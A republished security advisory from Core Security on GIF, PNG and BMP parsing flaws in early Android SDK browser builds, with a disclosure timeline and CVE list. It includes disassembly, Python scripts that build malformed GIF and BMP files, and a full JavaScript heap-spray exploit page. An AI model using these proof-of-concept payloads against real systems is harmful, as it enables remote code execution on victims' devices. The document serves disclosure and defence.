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Credit:
The information has been provided by Core Security Technologies Advisories.
The original article can be found at: http://www.coresecurity.com/?action=item&id=2148
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Vulnerable Systems:
* Android SDK m3-rc37a and earlier are vulnerable several bugs in components that process GIF, PNG and BMP images (bugs #1, #2 and #3 of this advisory).
* Android SDK m5-rc14 is vulnerable to a security bug in the component that process BMP images (bug #3).
Immune Systems:
* Android SDK m5-rc15
Android is a software stack for mobile devices that includes an operating system, middleware and key applications. Android relies on Linux version 2.6 for core system services such as security, memory management, process management, network stack, and driver model. The kernel also acts as an abstraction layer between the hardware and the rest of the software stack.
The WebKit application framework is included to facilitate development of web client application functionality. The framework in turn uses different third-party open source libraries to implement processing of several image formats.
Android includes a web browser based on the Webkit framework that contains multiple binary vulnerabilities when processing .GIF, .PNG and .BMP image files, allowing malicious client-side attacks on the web browser. A client-side attack could be launched from a malicious web site, hosting specially crafted content, with the possibility of executing arbitrary code on the victim's Android system.
These client-side binary vulnerabilities were discovered using the Android SDK that includes an ARM architecture emulator. Binary vulnerabilities are the most common security bugs in computer software. Basic bibliography on these vulnerabilities includes a recently updated handbook about security holes that also describes current state-of-the-start exploitation techniques for different hardware platforms and operating systems [6].
The vulnerabilities discovered are summarized below grouped by the type of image file format that is parsed by the vulnerable component.
GIF image parsing heap overflow
The Graphics Interchange Format (GIF) is image format dating at least from 1989 [7]. It was popularized because GIF images can be compressed using the Lempel-Ziv-Welch (LZW) compression technique thus reducing the memory footprint and bandwidth required for transmission and storage.
A memory corruption condition happens within the GIF processing library of the WebKit framework when the function 'GIFImageDecoder::onDecode()'
allocates a heap buffer based on the _Logical Screen Width and Height_ filed of the GIF header (offsets 6 and 8) and then the resulting buffer is filled in with an amount of data bytes that is calculated based on the real Width and Height of the GIF image. There is a similar (if not the same) bug in the function 'GIFImageDecoder::haveDecodedRow() 'in the open-source version included by Android in 'WebKitLib\WebKit\WebCore\platform\image-decoders\gif\GifImageDecoder.cpp' inside 'webkit-522-android-m3-rc20.tar.gz' available at [8].
Detailed analysis:
When the process 'com.google.android.browser' must handle content with a GIF file it loads a dynamic library called 'libsgl.so' which contains the decoders for multiple image file formats.
Decoding of the GIF image is performed correctly by the library giflib 4.0 (compiled inside 'libsgl.so'). However, the wrapper object 'GIFImageDecoder' miscalculates the total size of the image.
First, the Logical Screen Size is read and stored in the following calling sequence (As giflib is an Open Source MIT-licenced library, the
source was available for analysis): 'GIFImageDecoder::onDecode()->DGifOpen()->DGifGetScreenDesc()'. The last function, 'DGifGetScreenDesc()', stores the _Logical Screen Width and Height_ in a structure called 'GifFileType':
/-----------
Int DGifGetScreenDesc(GifFileType * GifFile) {
...
/* Put the screen descriptor into the file: */
if (DGifGetWord(GifFile, &GifFile->SWidth) == GIF_ERROR || DGifGetWord(GifFile, &GifFile->SHeight) == GIF_ERROR)
return GIF_ERROR;
...
}
-----------/
We can see that the fields are stored in the first 2 words of the structure:
/-----------
typedef struct GifFileType {
/* Screen dimensions. */
GifWord SWidth, SHeight,
...
}
-----------/
In the disassembly of the GIFImageDecoder::onDecode() function provided below we can see how the DGifOpen() function is called and that the return value (A GifFileType struct) is stored on the $R5 ARM register:
/-----------
.text:0002F234 BL _DGifOpen
.text:0002F238 SUBS R5, R0, #0 ; GifFile -_ $R5
-----------/
Then, the giflib function 'DGifSlurp()' is called and the Image size is correctly allocated using the Image Width and Height and not the Logical Screen Size:
/-----------
Int DGifSlurp(GifFileType * GifFile)
{ ... ImageSize = sp->ImageDesc.Width * sp->ImageDesc.Height;
sp->RasterBits = (unsigned char *)malloc(ImageSize * sizeof(GifPixelType));
...
}
-----------/
Afterwards the _Logical Screen_ Width and Height are stored in the R9 and R11 registers:
/-----------
.text:0002F28C LDMIA R5, {R9,R11} ; R9=SWidth R11=SHeight !
-----------/
However the actual image may be much larger that these sizes that are incorrectly passed to a number of methods of the 'GIFImageDecoder':
/-----------
ImageDecoder::chooseFromOneChoice():
.text:0002F294 MOV R0, R8
.text:0002F298 MOV R1, #3
.text:0002F29C MOV R2, R9
.text:0002F2A0 MOV R3, R11
.text:0002F2A4 STR R12, [SP,#0x48+var_3C]
.text:0002F2A8 BL _ImageDecoder19chooseFromOneChoice; ImageDecoder::chooseFromOneChoice(SkBitmap::Config, int, int)
Bitmap::setConfig():
.text:0002F2B8 MOV R0, R7 ; R7 = SkBitmap
.text:0002F2BC MOV R1, #3
.text:0002F2C0 MOV R2, R9 ; R9=SWidth R11=SHeight !
.text:0002F2C4 MOV R3, R11
.text:0002F2C8 STR R10, [SP,#0x48+var_48]
.text:0002F2CC BL _Bitmap9setConfig ; Bitmap::setConfig(SkBitmap::Config, uint, uint, uint)
-----------/
This function stores the SWidth and SHeight inside the Bitmap object as shown in the following code snippet:
/-----------
.text:00035C38 MOV R7, R2 ; $R2 = SWidth, goes to $R7
.text:00035C3C MOV R8, R3 ; $R3 = SHeight, goes to $R8
.text:00035C40 MOV R4, R0 ; $R4 = *Bitmap
-----------/
And later:
/-----------
.text:00035C58 BL _Bitmap15ComputeRowBytes ;
SkBitmap::ComputeRowBytes(SkBitmap::Config,uint)
.text:00035C5C MOV R5, R0 ; $R5 = Real Row Bytes
.text:00035C68 STRH R7, [R4,#0x18] ; *Bitmap+0x18 = SWidth
.text:00035C6C STRH R8, [R4,#0x1A] ; *Bitmap+0x1A = SHeight
.text:00035C60 STRH R5, [R4,#0x1C] ; *Bitmap+0x1C = Row Bytes
-----------/
The following python script generates a GIF file that causes the overflow. It requires the Python Imaging Library. Once generated the GIF file, it must be opened in the Android browser to trigger the overflow:
/-----------
##Android Heap Overflow
##Ortega Alfredo _ Core Security Exploit Writers Team
##tested against Android SDK m3-rc37a
import Image
import struct
#Creates a _good_ gif image
imagename='overflow.gif'
str = '\x00\x00\x00\x00'*30000
im = Image.frombuffer('L',(len(str),1),str,'raw','L',0,1)
im.save(imagename,'GIF')
#Shrink the Logical screen dimension
SWidth=1
SHeight=1
img = open(imagename,'rb').read()
img = img[:6]+struct.pack('<HH',SWidth,SHeight)+img[10:]
#Save the _bad_ gif image
q=open(imagename,'wb=""')
q.write(img)
q.close()
-----------/
This security bug affects Android SDK m3-rc37a and earlier versions. Version m5-rc14 of the Android SDK includes a fix and is not vulnerable to this bug.
PNG image parsing, multiple vulnerabilities:
The Portable Network Graphics (PNG) is a bitmapped image format that employs lossless data compression [9]. PNG was created to improve upon and replace the GIF format as an image file format that does not require a patent license.
The library 'libsgl.so' used by Android's WebKit contains commonly used code to load graphic files, as libpng, giflib and others. The version inside libsgl.so distributed with Android SDK m3-rc37a and earlier versions include the string '"libpng version 1.2.8 - December 3, 2004"'. Source code inspection of the file '\WebKitLib\WebKit\WebCore\platform\image-decoders\png\png.c' included in the 'webkit-522-android-m3-rc20.tar.gz ' release of the Android project reveals that '"libpng version 1.2.7 - September 12, 2004"' has been used in this release.
This old version of libpng makes Android SDK m3-rc37a and earlier versions vulnerable to the following known issues: ' CVE-2006-5793, CVE-2007-2445, CVE-2007-5267, CVE-2007-5266, CVE-2007-5268, CVE-2007-5269 '.
Android version m5-rc14 has been updated to include libpng 1.2.24 and is likely not vulnerable.
BMP image processing, negative offset integer overflow:
The BMP file format, sometimes called bitmap or DIB file format (for device-independent bitmap), is an image file format used to store bitmap digital images, especially on Microsoft Windows and OS/2 operating systems [10].
The integer overflow is caused when a Windows Bitmap file (.BMP) header is parsed in the method 'BMP::readFromStream(Stream *, ImageDecoder::Mode)' inside the 'libsgl.so' library. When the value of the 'offset' field of the BMP file header is negative and the Bitmap Information section (DIB header) specifies an image of 8 bits per pixel (8 bpp) the parser will try to allocate a palette, and will use the negative offset to calculate the size of the palette.
The following code initializes the palette with the color white ('0x00ffffff') but with a carefully chosen negative offset it can be made to overwrite any address of the process with that value. Because the BMP decoder source wasn't released, a disassembly of the binary included by Android is provided below:
/-----------
.text:0002EE38 MOV LR, R7 ; R7 is the negative offset
.text:0002EE3C MOV R12, R7,LSL#2
.text:0002EE40
.text:0002EE40 loc_2EE40
.text:0002EE40 LDR R3, [R10,#0x10]
.text:0002EE44 ADD LR, LR, #1
.text:0002EE48 MOVL R2, 0xFFFFFFFF
.text:0002EE4C ADD R1, R12, R3 ; R3 is uninitialized (because of the same bug) but ranges 0x10000-0x20000
.text:0002EE50 MOV R0, #0
.text:0002EE54 CMP LR, R9
.text:0002EE58 STRB R2, [R12,R3] ;Write 0x00ffffff to R12+13 (equals R1)
.text:0002EE5C STRB R2, [R1,#2]
.text:0002EE60 STRB R0, [R1,#3]
.text:0002EE64 STRB R2, [R1,#1]
.text:0002EE68 ADD R12, R12, #4
.text:0002EE6C BNE loc_2EE40
-----------/
Now, if let's take a look at the memory map of the Android browser:
/-----------
# ps
ps
USER PID PPID VSIZE RSS WCHAN PC NAME
root 1 0 248 64 c0084edc 0000ae2c S /init
root 2 0 0 0 c0049168 00000000 S kthreadd
...
root 1206 1165 16892 14564 c0084edc 00274af8 S ./gdb
app_0 1574 535 83564 12832 ffffffff afe0c79c S com.google.android.browser
root 1600 587 840 324 00000000 afe0bfbc R ps
# cat /proc/1574/maps
cat /proc/1574/maps
00008000-0000a000 rwxp 00000000 1f:00 514 /system/bin/app_process
0000a000-00c73000 rwxp 0000a000 00:00 0 [heap]
08000000-08001000 rw-s 00000000 00:08 344 /dev/zero (deleted)
...
#
-----------/
We can see that the heap is located in the range '0000a000-00c73000' and it is executable. Overwriting this area will allow to redirect execution flow if there is a virtual table stored in the heap. Later on the same method we can see that a call to the "Stream" Object VT is made:
/-----------
.text:0002EB64 LDR R12, [R8] # R8 is the "this" pointer of the Stream Object
.text:0002EB68 MOV R0, R8
.text:0002EB6C MOV LR, PC
.text:0002EB70 LDR PC, [R12,#0x10] # A call is made to Stream+0x10
-----------/
Because the "Stream" Object (R8) is stored on the heap and we can fill the heap with the white color '0x00ffffff' we can load the Program Counter with the value at '0xffffff+0x10'. The following python script will generate a BMP to accomplish that:
/-----------
# This script generates a Bitmap file that makes the Android browser jump to the address at 0xffffff+0x10
# Must be loaded inside a HTML file with a tag like this: <IMG src=badbmp.bmp>
# Alfredo Ortega - Core Security
import struct
offset = 0xffef0000
width = 0x0bffff
height=8
bmp ="\x42\x4d\xff\x00\x00\x00\x00\x00\x00\x00"
bmp+=struct.pack("<I",offset)
bmp+="\x28\x00\x00\x00"
bmp+=struct.pack("<I",width)
bmp+=struct.pack("<I",height)
bmp+="\x03\x00\x08\x00\x00\x00"
bmp+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
bmp+="\x00\x00\x00\x00\x00\x00\x00\x55\x02\xff\x00\x02\x00\x02\x02\xff"
bmp+="\xff\x11\xff\x33\xff\x55\xff\x66\xff\x77\xff\x88\x41\x41\x41\x41"
bmp+="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
bmp+="\x41\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
bmp+="\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
open("badbmp.bmp","wb").write(bmp)
-----------/
Opening the BMP file generated with this script inside a HTML page will cause (sometimes, as it is dependent on an uninitialized variable) the following output of the gdb debugger:
/-----------
(gdb) attach 1574
attach 1574
Attaching to program: /system/bin/app_process, process 1574
...
0xafe0d204 in __futex_wait () from /system/lib/libc.so
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb)
-----------/
Here the browser process has jumped to the '0x00000000' address because that is the value at 0x00ffffff+0x10. We can change this value using common JavaScript heap-filling techniques.
The complete exploit page follows:
/-----------
<HTML>
<HEAD>
</HEAD>
<BODY>
<script type="text/javascript">
// Fill 0x200000 - 0xa00000 with Breakpoints
var nop = unescape("%u0001%uef9f");
while (nop.length <= 0x100000/2) nop += nop;
var i = 0;
for (i = 0;i<5;i++)
document.write(nop)
// Fill 0xa00000 - 0x1100000 with address 0x00400040
var nop = unescape("%u4000%u4000");
while (nop.length <= 0x100000/2) nop += nop;
var i = 0;
for (i = 0;i<2;i++)
document.write(nop)
</script>
<IMG src=badbmp.bmp>
</BODY>
</HTML>
-----------/
Because the exploit needs to fill over 16 MB of heap memory to reach the address '0xffffff' it is very slow and the default memory configuration of Android will often abort the process before reaching the desired point. To overcome this limitation for demonstration purposes one can launch the emulator with this parameters:
'emulator -qemu -m 192'
That will launch the Android emulator with 192 megabytes of memory, plenty for the exploit to work.
This security bug affects Android SDK m5-rc14 and earlier versions.
Vendor statement:
"The current version of the Android SDK is an early look release to the open source community, provided so that developers can begin working with the platform to inform and shape our development of Android toward production readiness. The Open Handset Alliance welcomes input from the security community throughout this process. There will be many changes and updates to the platform before Android is ready for end users, including a full security review."
Report Timeline:
2008-01-30: Vendor is notified that possibly exploitable vulnerabilities where discovered and that an advisory draft is available. This affects Android SDK m3-rc37a and earlier versions.
2008-01-30: Vendor acknowledges and requests the draft.
2008-01-31: Core sends the draft encrypted, including PoC code to generate malformed GIF images.
2008-01-31: Vendor acknowledges the draft.
2008-02-02: Vendor notifies that the software is an early release for the open source community, but agree they can fix the problem on the estimated date (2008-02-25).
2008-02-04: Core notifies the vendor that Android is using a vulnerable PNG processing library.
2008-02-08: Vendor acknowledges, invites Core to send any new findings and asks if all findings will be included in the advisory.
2008-02-12: Core responds to vendor that all security issues found will be included in the advisory, the date is subject to coordination.
2008-02-12: Vendor releases version m5-rc14 of the Android SDK. Core receives no notification.
2008-02-13: Core sends the vendor more malformed images, including GIF, PNG and BMP files. Only the BMP file affects the m5-rc14 release.
2008-02-20: Core sends to the vendor a new version of the advisory, including a BMP PoC that runs arbitrary ARM code and informs the vendor that we noticed that the recent m5-rc14 release fixed the GIF and PNG bugs. Publication of CORE-2008-0124 has been re-=scheduled for February 27th. 2008.
2008-02-21: Vendor confirms that the GIF and PNG fixes have been released and provides an official statement to the "Vendor Section" of the advisory. A final review of the advisory is requested before its release. The vendor indicates that the Android SDK is still in development and stabilization won't happen until it gets closer to Alpha. Changes to fix the BMP issue are coming soon, priorities are given to issues listed in the public issue tracking system at http://code.google.com/p/android/issues.
2008-02-26: Core indicates that publication of CORE-2008-0124 has been moved to March 3rd 2008, asks if an estimated date for the BMP fix is available and if Core should file the reported and any future bugs in the public issue tracking page.
2008-02-29: Final draft version of advisory CORE-2008-0124 is sent to the vendor as requested. Core requests for any additional comments or statements to be provided by noon March 3rd, 2008 (UTC-5)
2008-03-01: Vendor requests publication to be delayed one day in order to publish a new release of Android with a fix to the BMP issue.
2008-03-02: Core agrees to delay publication for one day.
2008-03-03: Vendor releases Android SDK m5-rc15 which fixes the BMP vulnerability. Vendor indicates that Android applications run with the credentials of an unprivileged user which decreases the severity of the issues found
2008-03-04: Further research by Alfredo Ortega reveals that although the vendor statement is correct current versions of Android SDK ship with a passwordless root account. Unprivileged users with shell access can simply use the 'su' program to gain privileges
2008-03-04: Advisory CORE-2008-0124 is published.
References
[1] Android Overview - Open Handset Alliance - http://www.openhandsetalliance.com/android_overview.html
[2] "Android Comes to Life in Barcelona" - The Washington Post , February 11th, 2008 - http://www.washingtonpost.com/wp-dyn/content/article/2008/02/11/AR2008021101944.html
[3] Android Developer Challenge - http://code.google.com/android/adc.html
[4] "Test Center Preview: Inside Google's Mobile future" - Inforworld, Feb. 27th 2008 - http://www.infoworld.com/article/08/02/27/09TC-google-android_1.html
[5] "'Allo, 'allo, Android" - The Sydney Morning Herald, February 26th, 2008 http://www.smh.com.au/news/biztech/allo-allo-android/2008/02/26/1203788290737.html
[6] The Shellcoder's Handbook: Discovering and Exploiting Security Holes by Chris Anley , John Heasman , Felix Linder and Gerardo Richarte. Wiley; 2nd edition (August 20, 2007) - http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html
[7] Graphics Interchange Format version 89a - http://www.w3.org/Graphics/GIF/spec-gif89a.txt
[8] Android downloads page http://code.google.com/p/android/downloads/list
[9] Portable Network Graphics (PNG) specification - http://www.w3.org/TR/PNG/
[10] Bitmap File Structures - http://www.digicamsoft.com/bmp/bmp.html
CVE Information:
CVE-2008-0986, CVE-2008-0985, CVE-2006-5793, CVE-2007-2445, CVE-2007-5267, CVE-2007-5266, CVE-2007-5268, CVE-2007-5269
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